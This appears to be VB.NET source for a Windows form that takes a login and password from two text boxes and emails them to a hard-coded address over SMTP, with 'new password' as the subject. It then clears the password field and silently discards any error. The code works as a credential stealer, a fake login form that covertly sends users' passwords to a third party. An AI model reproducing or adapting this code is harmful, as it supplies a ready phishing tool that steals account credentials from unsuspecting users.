Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()

        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress("******@interia.pl")
            MyMailMessage.To.Add("c******@interia.pl")
            MyMailMessage.Subject = ("Nowe hasło")
            MyMailMessage.Body = "Login: " + TextBox1.Text & vbCrLf + "Hasło: " + TextBox2.Text
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("***/***@interia.pl", "*******")
            SMTP.Send(MyMailMessage)
            TextBox2.Text = ""
        Catch ex As Exception
        End Try
    End Sub
End Class